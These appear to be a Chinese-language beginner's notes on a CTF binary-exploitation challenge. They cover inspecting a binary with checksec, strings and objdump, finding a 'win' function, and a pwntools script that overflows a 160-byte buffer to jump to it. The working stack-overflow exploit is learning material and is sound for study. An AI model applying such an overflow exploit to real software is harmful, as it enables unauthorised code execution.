PWN 入门
在这里学的
1. Vuln
栈溢出
查程序属性
file file_name
![[Pasted image 20230308160401.png]]
checksec vuln
![[Pasted image 20230308160806.png]]
发现无壳 无动态链接
查字符串
strings ./vuln | grep flag
![[Pasted image 20230308162125.png]]
可以发现存在文件操作
方便本地测试 在程序目录下构造
flag.txt
内存入一些自己分辨的值 比如flag{ahh}
直接反汇编 检索文件打开行为
objdump -d vuln -M intel | grep open
![[Pasted image 20230308161545.png]]
确认存在文件打开,全部反汇编试试
objdump -d vuln -M intel
定位 fopen
所在位置 找到可疑利用点 保存函数地址
![[Pasted image 20230308161504.png]]
构造 exp
from pwn import *
p = process("./vuln")
# gdb.attach(p,"b *0x080485F8\nc")
win = 0x08048586 # 来源就是上面win函数的内存
p.sendline(cyclic(160)+p32(win)) # 程序开辟了160位的char空间 这里占满后利用缓冲区溢出 使其跳转到win函数 执行函数下内容
p.interactive() # 交互
执行
python3 exp.py DEBUG # 调试模式
本地测试通过 构建远程 exp
![[Pasted image 20230308162258.png]]